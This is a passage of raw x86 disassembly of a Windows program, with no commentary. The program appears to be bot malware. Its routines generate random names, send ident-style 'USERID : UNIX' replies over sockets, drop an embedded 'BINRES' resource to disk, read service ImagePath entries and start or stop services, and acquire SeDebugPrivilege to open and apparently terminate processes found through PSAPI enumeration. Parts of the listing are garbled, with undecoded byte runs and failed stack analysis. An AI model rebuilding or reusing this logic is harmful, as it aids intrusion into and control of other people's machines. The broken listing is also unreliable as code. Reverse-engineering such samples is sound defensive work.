		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F75A:				; CODE XREF: sub_41F030+82j
					; sub_41F030+B2j
		mov	ecx, [esp+0F0h+arg_18C8]
		pop	edi
		xor	eax, eax
		pop	esi
		mov	large fs:0, ecx
		add	esp, 19C0h
		retn
sub_41F030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F960	proc near		; CODE XREF: sub_401230j

var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_7C		= byte ptr -7Ch
var_78		= byte ptr -78h
var_60		= byte ptr -60h
var_48		= byte ptr -48h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41F960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 84h
		push	ebx
		push	ebp
		push	esi
		push	71h
		call	sub_40198D
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[esp+9Ch+var_90], eax
		jnz	short loc_41F99D
		mov	byte_4E8EA9, 0
		jmp	loc_41FB01
; ---------------------------------------------------------------------------


loc_41F99D:				; CODE XREF: sub_41F960+2Fj
		mov	cl, byte_44928B
		xor	ebx, ebx
		cmp	cl, bl
		mov	byte_4E8EA9, 1
		jnz	loc_41FAF4
		lea	ecx, [esp+9Ch+var_8C]
		push	ecx
		push	eax
		call	sub_402009
		mov	ebp, eax
		add	esp, 8
		cmp	ebp, 0FFFFFFFFh
		jz	loc_41FAE7
		push	edi
		lea	ecx, [esp+0A0h+var_7C]
		call	sub_40142E
		mov	[esp+0A0h+var_4], ebx
		call	sub_401F0A
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 3
		push	offset byte_448F40
		idiv	ecx
		lea	ecx, [esp+0A0h+var_78]
		mov	edi, edx
		add	edi, 0Ah
		call	sub_4015E1
		cmp	edi, ebx
		jle	short loc_41FA66


loc_41FA0A:				; CODE XREF: sub_41F960+104j
		lea	ecx, [esp+9Ch+var_60]
		call	sub_40142E
		lea	edx, [esp+9Ch+var_78]
		lea	ecx, [esp+9Ch+var_60]
		push	edx
		mov	byte ptr [esp+0A0h], 1
		call	sub_401FDC
		call	esi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+9Ch+var_60]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+0A4h+var_78]
		push	offset dword_444E64
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+9Ch+var_60]
		mov	[esp+9Ch], bl
		call	sub_401226
		dec	edi
		jnz	short loc_41FA0A


loc_41FA66:				; CODE XREF: sub_41F960+A8j
		push	0Ah
		lea	ecx, [esp+0A0h+var_78]
		call	sub_401479
		mov	[eax], bl
		mov	ecx, 10h
		xor	eax, eax
		lea	edi, [esp+9Ch+var_48]
		rep stosd
		lea	ecx, [esp+9Ch+var_78]
		call	sub_4017EE
		push	eax
		push	71h
		call	esi	; rand
		cdq
		mov	ecx, 1770h
		idiv	ecx
		inc	edx
		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_5F74D1
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_511C9C
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E8EA9, bl
		pop	edi
		jmp	short loc_41FAFE
; ---------------------------------------------------------------------------


loc_41FAE7:				; CODE XREF: sub_41F960+67j
		push	7D0h
		nop
		call	near ptr 2830000h
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FAF4:				; CODE XREF: sub_41F960+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_511C9C


loc_41FAFE:				; CODE XREF: sub_41F960+185j
		push	ebp
		call	esi	; closesocket


loc_41FB01:				; CODE XREF: sub_41F960+38j
					; sub_41F960+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F960	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FB90	proc near		; CODE XREF: sub_401AD2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FBCB
		dec	eax
		jz	short loc_41FBB4
		dec	eax
		jnz	short loc_41FBF1
		mov	ecx, dword_50DB38
		mov	dword_50DB1C, 4
		call	sub_401DE3
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBB4:				; CODE XREF: sub_41FB90+8j
		mov	ecx, dword_50DB38
		mov	dword_50DB1C, 7
		call	sub_401028
		jmp	short loc_41FBF1
; ---------------------------------------------------------------------------


loc_41FBCB:				; CODE XREF: sub_41FB90+5j
		mov	ecx, dword_50DB38
		xor	eax, eax
		mov	dword_50DB24, eax
		mov	dword_50DB1C, 1
		mov	dword_50DB2C, eax
		mov	dword_50DB30, eax
		call	sub_40174E


loc_41FBF1:				; CODE XREF: sub_41FB90+Bj
					; sub_41FB90+22j ...
		mov	eax, dword_50DB3C
		push	offset dword_50DB18
		push	eax
		mov	dword_50DB1C, 4
		nop
		call	near ptr 28F0839h
		retn	4
sub_41FB90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC30:				; CODE XREF: ___:loc_401965j
		push	esi
		xor	esi, esi
		push	offset sub_401AD2
		mov	ecx, offset byte_44991F
		mov	dword_50DB18, 20h
		mov	dword_50DB1C, 2
		mov	dword_50DB20, 3
		mov	dword_50DB24, esi
		mov	dword_50DB28, esi
		mov	dword_50DB2C, esi
		mov	dword_50DB30, esi
		call	sub_4017EE
		push	eax
		call	near ptr 28F03C2h
		nop
		cmp	eax, esi
		mov	dword_50DB3C, eax
		jz	short loc_41FCAA
		push	offset dword_50DB18
		push	eax
		mov	dword_50DB1C, 4
		mov	dword_50DB2C, esi
		mov	dword_50DB30, esi
		nop
		call	near ptr 28F0839h


loc_41FCAA:				; CODE XREF: ___:0041FC86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FCD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F068
		mov	eax, esi
		pop	esi
		retn
sub_41FCD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD00	proc near		; CODE XREF: sub_401CF3j

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50DB38, ecx
		push	100h
		mov	ecx, offset byte_44991F
		call	sub_4017EE
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401965
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		call	near ptr 28F0000h
		nop
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FD00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FD80:				; CODE XREF: ___:00401C44j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FDA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDA2:				; CODE XREF: ___:0041FD9Aj
		mov	ecx, [esp+18h]
		push	ecx
		call	near ptr 2880000h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FDB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDB9:				; CODE XREF: ___:0041FDB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		nop
		call	near ptr 279047Fh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FDDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FDDC:				; CODE XREF: ___:0041FDD4j
		push	ebp
		push	edi
		push	esi
		nop
		call	near ptr 27A0000h
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 27A03D7h
		push	ebp
		mov	esi, eax
		call	near ptr 27A0754h
		nop
		push	ebx
		push	esi
		push	1
		push	eax
		call	near ptr 77C4173Bh
		nop
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40188Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE78
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_41FE71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FE71:				; CODE XREF: sub_41FE50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FE78:				; CODE XREF: sub_41FE50+Fj
		pop	esi
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE90	proc near		; CODE XREF: sub_401AA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FEAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEAE:				; CODE XREF: sub_41FE90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF0A
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF0A:				; CODE XREF: sub_41FE90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF50	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FF6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FF6E:				; CODE XREF: sub_41FF50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41FFC0
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FFC0:				; CODE XREF: sub_41FF50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FF50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FFF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420024
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420027


loc_420024:				; CODE XREF: sub_41FFF0+14j
		or	eax, 0FFFFFFFFh


loc_420027:				; CODE XREF: sub_41FFF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FFF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420040	proc near		; CODE XREF: sub_402009j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_420076
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420076
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420079


loc_420076:				; CODE XREF: sub_420040+8j
					; sub_420040+1Aj
		or	eax, 0FFFFFFFFh


loc_420079:				; CODE XREF: sub_420040+34j
		pop	edi
		pop	esi
		retn
sub_420040	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_420090	proc near		; CODE XREF: sub_401604j

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_437B30
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_4382BC
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4200C3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_4200C3:				; CODE XREF: sub_420090+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42018D
		push	ebx
		mov	ebx, dword_5117E0
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_4200E5:				; CODE XREF: sub_420090+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420177
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_4382B6
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420170
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_4382B0
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778260F2h, 8508C483h
		dd 500D75C0h, 46E89056h, 0C6023702h, 1132444h
; ---------------------------------------------------------------------------


loc_420170:				; CODE XREF: sub_420090+A2j
		push	esi
		nop
		call	near ptr 2830906h


loc_420177:				; CODE XREF: sub_420090+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_4200E5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42018D:				; CODE XREF: sub_420090+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_420090	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4201F0	proc near		; CODE XREF: sub_401A0Aj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4201F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401870
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401EAB
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42036A
		lea	ecx, [esp+460h+var_43C]
		call	sub_40142E
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_40168B
		push	eax
		push	80000002h
		call	near ptr 2930000h
		nop
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		call	near ptr 28E0000h
		nop
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_5119E0
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_444AE4 ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		nop
		call	near ptr 760976AFh
		lea	ecx, [esp+4A4h+var_490]
		nop
		call	near ptr 7608B84Ch
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE1366E8h, 0E89050FFh, 23C092Ah,	14244C8Dh
		dd 5C249C88h, 90000004h, 0C6F148E8h, 244C8D75h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0ED5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42036A:				; CODE XREF: sub_4201F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4201F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420400	proc near		; CODE XREF: sub_401EABj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900884h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420425
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420425:				; CODE XREF: sub_420400+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 28A0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420450
		push	ebx
		nop
		call	near ptr 2910000h
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420450:				; CODE XREF: sub_420400+3Fj
		push	ebp
		push	edi
		mov	edi, dword_511748
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_511744
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_511754
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420400	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4204D0	proc near		; CODE XREF: sub_4018B6j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		call	near ptr 279032Bh
		nop
		push	eax
		nop
		call	near ptr 28C16ADh
		mov	ebp, dword_511720
		mov	edi, dword_5118E0
		test	eax, eax
		jnz	short loc_420520
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 279036Bh
		push	eax
		nop
		call	near ptr 28C1CFDh
		test	eax, eax
		jz	short loc_42057F


loc_420520:				; CODE XREF: sub_4204D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420583
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		nop
		call	near ptr 28D0000h
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420578
		nop
		call	near ptr 27C093Ah
		cmp	eax, 514h
		jnz	short loc_420583
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42057D
; ---------------------------------------------------------------------------


loc_420578:				; CODE XREF: sub_4204D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42057D:				; CODE XREF: sub_4204D0+A6j
		call	edi


loc_42057F:				; CODE XREF: sub_4204D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420583:				; CODE XREF: sub_4204D0+54j
					; sub_4204D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		call	near ptr 2700000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_4205A8
		push	0
		push	esi
		nop
		call	near ptr 27903B1h
		push	esi
		mov	bl, 1
		call	edi


loc_4205A8:				; CODE XREF: sub_4204D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4205C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4205C7:				; CODE XREF: sub_4204D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4204D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420630	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420630
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		call	near ptr 2880000h
		nop
		test	eax, eax
		mov	dword_50DB40, eax
		jnz	short loc_42067C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 27E08BCh
		test	eax, eax
		mov	dword_50DB40, eax
		jz	loc_4207FA


loc_42067C:				; CODE XREF: sub_420630+32j
		mov	esi, dword_511918
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50DB44, eax
		mov	eax, dword_50DB40
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50DB40
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50DB48, eax
		call	esi
		mov	ecx, dword_50DB44
		mov	dword_50DB4C, eax
		test	ecx, ecx
		jz	loc_4207FA
		mov	edx, dword_50DB48
		test	edx, edx
		jz	loc_4207FA
		test	eax, eax
		jz	loc_4207FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4207FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4207E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_5117E0
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42073F:				; CODE XREF: sub_420630+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4207CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50DB48
		test	eax, eax
		jz	short loc_4207C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50DB4C
		lea	ecx, [esp+74h+var_54]
		call	sub_401875
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015E1
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402185
